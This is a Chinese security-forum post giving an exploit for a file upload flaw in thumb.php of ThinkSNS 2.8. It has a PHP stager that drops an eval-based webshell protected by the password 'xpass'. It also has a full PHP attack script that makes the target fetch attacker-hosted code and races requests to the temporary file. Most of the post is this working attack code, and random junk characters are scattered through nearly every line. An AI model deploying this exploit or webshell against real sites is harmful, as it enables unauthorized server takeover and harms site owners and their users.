找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2088|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本9 f/ v' t: v& o0 P# l$ U! D
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
5 E; v% d6 X3 S5 y0 ]0 A6 k8 L漏洞文件% V6 X1 O9 A( g$ m
存在漏洞的文件为:thumb.php
( K1 z' u5 r: {5 e% y+ n作者:韦鲲鹏+ q' D7 O8 s4 M! j6 y
1、        准备如下PHP文件并上传到服务器(自己的)。* e1 a6 N& ]6 W* U- T
文件内容如下:7 J7 N+ R0 B* U: E  N% \" s1 g1 n
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?># y% N( P" C" x5 _/ L
2、        计算出临时的文件名:
2 a; C% ~8 e; x6 }这里我们可以看文件的99行(刚刚是不是没注意呀!)。9 W7 ?6 {4 O7 P3 p
0 Y% _) m& x$ r3 i5 j9 |+ [' X) _
3、        上传临时文件。; j% I8 o( x  |& p
4、        访问临时文件。) W  r' v! s4 ^* `" U' C
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
. R- R9 d- q5 J# V: B* e4 \& WExploit文件内容如下:(这个我就不详细解释了)
$ Q# l  k' Z7 _/ b8 n<?php6 U( R; ~' L1 ^( @8 w- r( \* `6 B1 n
error_reporting(0);
; u1 c+ ~! z- R7 Cset_time_limit(0);0 P, j) e2 C3 B; G5 N
ini_set(“default_socket_timeout”, 5);" ^; U8 i' E0 w0 N# W7 o- A
function http_send($host, $port, $headers) {5 X# W3 P* Y! ]1 R& {
$fp = fsockopen($host, $port);
/ h  O/ w2 C$ H( A3 G$ @4 `3 o7 R7 Tif (!$fp) die(‘Connection -> fail’);
1 E: i( E# e: Tfputs($fp, $headers);
4 m' U5 B* n( nreturn $fp;
+ t: z! ]. v) Z$ k}
; R; G. Q  J3 Y/ n- ^function http_recv($fp) {0 \* O2 H, o9 ?( o2 h0 l4 H( [
$ret=”";
* {+ A$ I& a: ^# G9 A. ?# qwhile (!feof($fp))
* N, M! m( z5 g; y5 K0 }' T6 m$ret.= fgets($fp, 1024);
- b% z# P1 p  `4 _/ Z) B+ P, ifclose($fp);1 S( s/ z! T7 }
return $ret;! o1 ]% [: v2 R& C& k4 C* o
}. i! g2 a; \( w  c6 M! V# {
print “\n#  ThinkSns Arbitrary File Upload   #\n”;9 f3 S6 E8 m! N* ~$ X+ h" U
print “# Discovered by 韦鲲鹏 #\n\n”;) N% c. g. R& L. N- q" T
if ($argc < 4) {( v/ v; \/ C1 |+ J; ^' r8 x7 ~$ k
print “Usage:   php <host> <path> <romote_url>\n”;8 Z) |) W6 b5 l0 Q
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
; b  Q* ?6 l/ G9 D* a- z0 Zdie();# F0 O- h( p" J2 `% {- k% A! V9 G
}
( c: H( R$ Z; `* Q$host = $argv[1];
) R. A9 k& C; s( S+ n) X$path = $argv[2];0 l9 ?9 L7 p# p1 P4 w% h
$url = $argv[3];; O6 j) z, h! O7 \+ U+ M- r4 x0 j
$i=0;6 Y+ e7 _) z5 S3 p$ M
//上传数据包
$ X- L; J$ {9 {) W4 B- [& i$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
% u! I* u) N+ T+ R* h$headers_up .= “Host: “.$host.”\r\n”;
( j+ @6 B- i6 m9 J$headers_up .= “Connection: close\r\n\r\n”;
( g1 b& |2 T* `echo $headers_up;
0 L" t: D8 H* p; m" ^( M//临时文件访问数据包
" b/ x" w9 [9 M3 `3 h4 H- C6 Z2 L$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
+ V) C2 v7 Q( g1 |1 l6 l( p$headers .= “Host: “.$host.”\r\n”;( q( J$ v3 x) o+ k1 M* E; A" {
$headers .= “Connection: close\r\n\r\n”;
% _+ z$ j0 J5 E3 E7 j! v! `: }! Y+ a" T% ^echo $headers;% F3 F% U6 |6 a7 L6 Q
while(++$i<10) {: q) G$ X4 R9 m5 f
fclose(http_send($host, 80, $headers));, U- o1 K$ v  r! ?  p$ i
}4 L/ k  B1 z  s6 F' c, M
fclose(http_send($host, 80, $headers_up));
9 }1 N. C9 t$ M# V0 c# y, i% rwhile(++$i<50) {5 g; x8 H. W1 a  |
fclose(http_send($host, 80, $headers));
% z5 J: m+ w6 U- Y, B+ |}
2 A) w) k# E3 }: H; R) u+ P* d- L$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;+ V  E. M5 _7 w
$headers .= “Host: “.$host.”\r\n”;
& W4 D7 K. ~9 o% [$headers .= “Connection: close\r\n\r\n”;
* k6 l  c! ]* S5 \+ a$res=http_recv(http_send($host, 80, $headers));# ~0 q5 s+ o3 a
if(preg_match(‘/200 OK/’,$res)) {: I2 x+ J- G' z/ H# Q' V/ k
print “Success!\n\n”;, \8 J& N# ~; _( q, C# N
} else {
% H& }7 B% p& \print “Fail!\n\n”;
8 I% J; m5 i* \, e2 ]}9 g- P" X9 w& U2 N3 P1 M
?>
) {! Q! s( b0 B7 Q2 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表